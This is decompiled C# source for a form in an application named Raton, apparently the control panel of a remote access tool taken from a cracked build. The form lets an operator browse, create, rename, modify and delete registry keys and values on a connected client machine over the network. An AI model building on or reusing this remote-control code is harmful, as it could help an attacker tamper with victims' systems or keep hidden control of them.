// Decompiled with JetBrains decompiler // Type: Raton.Forms.ClientForms.Monitor.ratonReg // Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null // MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7 // Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe using DarkModeForms; using Microsoft.VisualBasic; using Raton.Classes; using Raton.Properties; using Server.Connection; using Stuff; using System; using System.Collections.Generic; using System.ComponentModel; using System.Drawing; using System.Threading.Tasks; using System.Windows.Forms; #nullable disable namespace Raton.Forms.ClientForms.Monitor; public class ratonReg : Form { private IContainer components; public TreeView treeView1; public DataGridView dataGridView1; private DataGridViewTextBoxColumn colName; private DataGridViewTextBoxColumn colType; private DataGridViewTextBoxColumn colData; private Timer timer1; private ContextMenuStrip contextMenuStrip1; private ToolStripMenuItem newKeyToolStripMenuItem; private ToolStripMenuItem renameToolStripMenuItem; private ToolStripMenuItem deleteToolStripMenuItem; private ContextMenuStrip contextMenuStrip2; private ToolStripMenuItem modifyToolStripMenuItem; private ToolStripMenuItem renameToolStripMenuItem1; private ToolStripMenuItem refreshToolStripMenuItem; public SillyClient SillyClient { get; set; } public string Perms { get; set; } public ratonReg() { this.InitializeComponent(); DarkMode.Start((Form) this); this.SetupTreeView(); this.SetupGrid(); this.treeView1.BeforeExpand += new TreeViewCancelEventHandler(this.TreeView1_BeforeExpand); } private void ratonReg_Load(object sender, EventArgs e) => this.timer1.Start(); private void SetupTreeView() { this.treeView1.PathSeparator = "\\"; this.treeView1.BeforeExpand += new TreeViewCancelEventHandler(this.TreeView1_BeforeExpand); } private void SetupGrid() { this.dataGridView1.Columns.Clear(); this.dataGridView1.Rows.Clear(); this.dataGridView1.AllowUserToAddRows = false; this.dataGridView1.ReadOnly = true; this.dataGridView1.SelectionMode = DataGridViewSelectionMode.FullRowSelect; this.dataGridView1.MultiSelect = false; this.dataGridView1.RowHeadersVisible = false; this.dataGridView1.AutoSizeColumnsMode = DataGridViewAutoSizeColumnsMode.Fill; this.dataGridView1.Columns.Add("Name", "RegName"); this.dataGridView1.Columns.Add("Type", "Type"); this.dataGridView1.Columns.Add("Data", "Content"); } private void treeView1_AfterSelect(object sender, TreeViewEventArgs e) { string fullPath = this.GetFullPath(e.Node); Pack pack = new Pack(); pack.SetString("Packet", "RegistryRequest"); pack.SetString("Action", "GetValues"); pack.SetString("Path", fullPath); this.SillyClient.Send(pack.Pacc()); } private void TreeView1_BeforeExpand(object sender, TreeViewCancelEventArgs e) { if (e.Node.Nodes.Count != 1 || !(e.Node.Nodes[0].Text == "Loading...")) return; string fullPath = this.GetFullPath(e.Node); Pack pack = new Pack(); pack.SetString("Packet", "RegistryRequest"); pack.SetString("Action", "GetSubKeys"); pack.SetString("Path", fullPath); this.SillyClient.Send(pack.Pacc()); } private string GetFullPath(TreeNode node) { string fullPath = node.Text; while (node.Parent != null) { node = node.Parent; fullPath = $"{node.Text}\\{fullPath}"; } return fullPath; } private void timer1_Tick(object sender, EventArgs e) { if (this.SillyClient != null && this.SillyClient.isConnected()) return; this.Close(); } private async void newKeyToolStripMenuItem_Click(object sender, EventArgs e) { if (this.Perms == "User") { int num = (int) Messenger.MessageBox("You need administrator to manage keys and values"); } else { if (this.treeView1.SelectedNode == null) return; string fullPath = this.GetFullPath(this.treeView1.SelectedNode); string str = Interaction.InputBox("Enter new key name:", "New Key", "NewKey"); if (string.IsNullOrWhiteSpace(str)) return; Pack pack = new Pack(); pack.SetString("Packet", "RegistryRequest"); pack.SetString("Action", "NewKey"); pack.SetString("Path", fullPath); pack.SetString("NewKeyName", str); this.SillyClient.Send(pack.Pacc()); await Task.Delay(1000); this.RequestSubKeysRefresh(this.treeView1.SelectedNode.Parent ?? this.treeView1.SelectedNode); } } private void renameToolStripMenuItem_Click(object sender, EventArgs e) { if (this.Perms == "User") { int num = (int) Messenger.MessageBox("You need administrator to manage keys and values"); } else { if (this.treeView1.SelectedNode == null) return; string fullPath = this.GetFullPath(this.treeView1.SelectedNode); string str = Interaction.InputBox("Enter new key name:", "Rename Key", this.treeView1.SelectedNode.Text); if (string.IsNullOrWhiteSpace(str)) return; Pack pack = new Pack(); pack.SetString("Packet", "RegistryRequest"); pack.SetString("Action", "RenameKey"); pack.SetString("Path", fullPath); pack.SetString("NewKeyName", str); this.SillyClient.Send(pack.Pacc()); this.RequestSubKeysRefresh(this.treeView1.SelectedNode.Parent ?? this.treeView1.SelectedNode); } } private void deleteToolStripMenuItem_Click(object sender, EventArgs e) { if (this.Perms == "User") { int num = (int) Messenger.MessageBox("You need administrator to manage keys and values"); } else { if (this.treeView1.SelectedNode == null) return; string fullPath = this.GetFullPath(this.treeView1.SelectedNode); if (Messenger.MessageBox("Are you sure you want to delete this key and all subkeys?", "Delete Key", MessageBoxButtons.YesNo, MessageBoxIcon.Exclamation) != DialogResult.Yes) return; Pack pack = new Pack(); pack.SetString("Packet", "RegistryRequest"); pack.SetString("Action", "DeleteKey"); pack.SetString("Path", fullPath); this.SillyClient.Send(pack.Pacc()); this.RequestSubKeysRefresh(this.treeView1.SelectedNode.Parent ?? this.treeView1.SelectedNode); } } private string GetSelectedNodePath(TreeNode node) { List values = new List(); for (TreeNode treeNode = node; treeNode != null; treeNode = treeNode.Parent) values.Insert(0, treeNode.Text); return string.Join("\\", (IEnumerable) values); } private void modifyValueToolStripMenuItem_Click(object sender, EventArgs e) { if (this.Perms == "User") { int num = (int) Messenger.MessageBox("You need administrator to manage keys and values"); } else { if (this.dataGridView1.SelectedRows.Count == 0) return; string str1 = this.dataGridView1.SelectedRows[0].Cells[0].Value.ToString(); string str2 = this.dataGridView1.SelectedRows[0].Cells[1].Value.ToString(); string DefaultResponse = this.dataGridView1.SelectedRows[0].Cells[2].Value.ToString(); string str3 = Interaction.InputBox($"Modify value for {str1} ({str2}):", "Modify Value", DefaultResponse); if (string.IsNullOrEmpty(str3)) return; string fullPath = this.GetFullPath(this.treeView1.SelectedNode); Pack pack1 = new Pack(); pack1.SetString("Packet", "RegistryRequest"); pack1.SetString("Action", "ModifyValue"); pack1.SetString("Path", fullPath); pack1.SetString("Name", str1); pack1.SetString("NewValue", str3); this.SillyClient.Send(pack1.Pacc()); Pack pack2 = new Pack(); pack2.SetString("Packet", "RegistryRequest"); pack2.SetString("Action", "GetValues"); pack2.SetString("Path", fullPath); this.SillyClient.Send(pack2.Pacc()); } } private void deleteValueToolStripMenuItem_Click(object sender, EventArgs e) { if (this.Perms == "User") { int num = (int) Messenger.MessageBox("You need administrator to manage keys and values"); } else { if (this.dataGridView1.SelectedRows.Count == 0) return; string str = this.dataGridView1.SelectedRows[0].Cells[0].Value.ToString(); string fullPath = this.GetFullPath(this.treeView1.SelectedNode); if (Messenger.MessageBox($"Are you sure you want to delete the value '{str}'?", "Delete Value", MessageBoxButtons.YesNo, MessageBoxIcon.Exclamation) != DialogResult.Yes) return; Pack pack1 = new Pack(); pack1.SetString("Packet", "RegistryRequest"); pack1.SetString("Action", "DeleteValue"); pack1.SetString("Path", fullPath); pack1.SetString("Name", str); this.SillyClient.Send(pack1.Pacc()); Pack pack2 = new Pack(); pack2.SetString("Packet", "RegistryRequest"); pack2.SetString("Action", "GetValues"); pack2.SetString("Path", fullPath); this.SillyClient.Send(pack2.Pacc()); } } private void refreshValuesToolStripMenuItem_Click(object sender, EventArgs e) { if (this.Perms == "User") { int num = (int) Messenger.MessageBox("You need administrator to manage keys and values"); } else { if (this.treeView1.SelectedNode == null) return; string fullPath = this.GetFullPath(this.treeView1.SelectedNode); Pack pack = new Pack(); pack.SetString("Packet", "RegistryRequest"); pack.SetString("Action", "RefreshValues"); pack.SetString("Path", fullPath); this.SillyClient.Send(pack.Pacc()); } } private void RefreshTreeNode(TreeNode node, List subKeys) { if (node == null) return; node.Nodes.Clear(); if (subKeys == null || subKeys.Count <= 0) return; foreach (string subKey in subKeys) node.Nodes.Add(new TreeNode(subKey) { Nodes = { "Loading..." } }); } private TreeNode FindTreeNodeByPath(string path) { string[] strArray = path.Split('\\'); TreeNodeCollection nodes = this.treeView1.Nodes; TreeNode treeNodeByPath = (TreeNode) null; foreach (string str in strArray) { bool flag = false; foreach (TreeNode treeNode in nodes) { if (treeNode.Text == str) { treeNodeByPath = treeNode; nodes = treeNode.Nodes; flag = true; break; } } if (!flag) return (TreeNode) null; } return treeNodeByPath; } private void RequestSubKeysRefresh(TreeNode node) { if (node == null) return; Pack pack = new Pack(); pack.SetString("Packet", "RegistryRequest"); pack.SetString("Action", "GetSubKeys"); pack.SetString("Path", this.GetFullPath(node)); this.SillyClient.Send(pack.Pacc()); } public void OnReceivedSubKeys(string path, List subKeys) { TreeNode treeNodeByPath = this.FindTreeNodeByPath(path); if (treeNodeByPath == null) return; this.RefreshTreeNode(treeNodeByPath, subKeys); } protected override void Dispose(bool disposing) { if (disposing && this.components != null) this.components.Dispose(); base.Dispose(disposing); } private void InitializeComponent() { this.components = (IContainer) new System.ComponentModel.Container(); ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (ratonReg)); this.treeView1 = new TreeView(); this.dataGridView1 = new DataGridView(); this.colName = new DataGridViewTextBoxColumn(); this.colType = new DataGridViewTextBoxColumn(); this.colData = new DataGridViewTextBoxColumn(); this.timer1 = new Timer(this.components); this.contextMenuStrip1 = new ContextMenuStrip(this.components); this.contextMenuStrip2 = new ContextMenuStrip(this.components); this.renameToolStripMenuItem1 = new ToolStripMenuItem(); this.refreshToolStripMenuItem = new ToolStripMenuItem(); this.modifyToolStripMenuItem = new ToolStripMenuItem(); this.newKeyToolStripMenuItem = new ToolStripMenuItem(); this.renameToolStripMenuItem = new ToolStripMenuItem(); this.deleteToolStripMenuItem = new ToolStripMenuItem(); ((ISupportInitialize) this.dataGridView1).BeginInit(); this.contextMenuStrip1.SuspendLayout(); this.contextMenuStrip2.SuspendLayout(); this.SuspendLayout(); this.treeView1.BorderStyle = BorderStyle.FixedSingle; this.treeView1.ContextMenuStrip = this.contextMenuStrip1; this.treeView1.Location = new Point(14, 14); this.treeView1.Name = "treeView1"; this.treeView1.Size = new Size(171, 524); this.treeView1.TabIndex = 0; this.treeView1.AfterSelect += new TreeViewEventHandler(this.treeView1_AfterSelect); this.dataGridView1.ColumnHeadersHeightSizeMode = DataGridViewColumnHeadersHeightSizeMode.AutoSize; this.dataGridView1.Columns.AddRange((DataGridViewColumn) this.colName, (DataGridViewColumn) this.colType, (DataGridViewColumn) this.colData); this.dataGridView1.ContextMenuStrip = this.contextMenuStrip2; this.dataGridView1.Location = new Point(192 /*0xC0*/, 14); this.dataGridView1.Name = "dataGridView1"; this.dataGridView1.Size = new Size(697, 525); this.dataGridView1.TabIndex = 1; this.colName.HeaderText = "Name"; this.colName.Name = "colName"; this.colType.HeaderText = "Type"; this.colType.Name = "colType"; this.colData.HeaderText = "Data"; this.colData.Name = "colData"; this.timer1.Tick += new EventHandler(this.timer1_Tick); this.contextMenuStrip1.Items.AddRange(new ToolStripItem[3] { (ToolStripItem) this.newKeyToolStripMenuItem, (ToolStripItem) this.renameToolStripMenuItem, (ToolStripItem) this.deleteToolStripMenuItem }); this.contextMenuStrip1.Name = "contextMenuStrip1"; this.contextMenuStrip1.Size = new Size(120, 70); this.contextMenuStrip2.Items.AddRange(new ToolStripItem[3] { (ToolStripItem) this.modifyToolStripMenuItem, (ToolStripItem) this.renameToolStripMenuItem1, (ToolStripItem) this.refreshToolStripMenuItem }); this.contextMenuStrip2.Name = "contextMenuStrip2"; this.contextMenuStrip2.Size = new Size(114, 70); this.renameToolStripMenuItem1.Image = (Image) Resources.DeleteAllRows_16x; this.renameToolStripMenuItem1.Name = "renameToolStripMenuItem1"; this.renameToolStripMenuItem1.Size = new Size(113, 22); this.renameToolStripMenuItem1.Text = "Delete"; this.renameToolStripMenuItem1.Click += new EventHandler(this.deleteValueToolStripMenuItem_Click); this.refreshToolStripMenuItem.Image = (Image) Resources.Refresh_greyThin_16x; this.refreshToolStripMenuItem.Name = "refreshToolStripMenuItem"; this.refreshToolStripMenuItem.Size = new Size(113, 22); this.refreshToolStripMenuItem.Text = "Refresh"; this.refreshToolStripMenuItem.Click += new EventHandler(this.refreshValuesToolStripMenuItem_Click); this.modifyToolStripMenuItem.Image = (Image) Resources.ModifyEvent_16x; this.modifyToolStripMenuItem.Name = "modifyToolStripMenuItem"; this.modifyToolStripMenuItem.Size = new Size(113, 22); this.modifyToolStripMenuItem.Text = "Modify"; this.modifyToolStripMenuItem.Click += new EventHandler(this.modifyValueToolStripMenuItem_Click); this.newKeyToolStripMenuItem.Image = (Image) Resources.QueryFolder_16x; this.newKeyToolStripMenuItem.Name = "newKeyToolStripMenuItem"; this.newKeyToolStripMenuItem.Size = new Size(119, 22); this.newKeyToolStripMenuItem.Text = "New key"; this.newKeyToolStripMenuItem.Click += new EventHandler(this.newKeyToolStripMenuItem_Click); this.renameToolStripMenuItem.Image = (Image) Resources.Rename_16x1; this.renameToolStripMenuItem.Name = "renameToolStripMenuItem"; this.renameToolStripMenuItem.Size = new Size(119, 22); this.renameToolStripMenuItem.Text = "Rename"; this.renameToolStripMenuItem.Click += new EventHandler(this.renameToolStripMenuItem_Click); this.deleteToolStripMenuItem.Image = (Image) Resources.DeleteAllRows_16x; this.deleteToolStripMenuItem.Name = "deleteToolStripMenuItem"; this.deleteToolStripMenuItem.Size = new Size(119, 22); this.deleteToolStripMenuItem.Text = "Delete"; this.deleteToolStripMenuItem.Click += new EventHandler(this.deleteToolStripMenuItem_Click); this.AutoScaleDimensions = new SizeF(7f, 15f); this.AutoScaleMode = AutoScaleMode.Font; this.ClientSize = new Size(903, 553); this.Controls.Add((Control) this.dataGridView1); this.Controls.Add((Control) this.treeView1); this.Font = new Font("Microsoft JhengHei", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0); this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon"); this.MaximizeBox = false; this.Name = nameof (ratonReg); this.StartPosition = FormStartPosition.CenterScreen; this.Text = nameof (ratonReg); this.Load += new EventHandler(this.ratonReg_Load); ((ISupportInitialize) this.dataGridView1).EndInit(); this.contextMenuStrip1.ResumeLayout(false); this.contextMenuStrip2.ResumeLayout(false); this.ResumeLayout(false); } }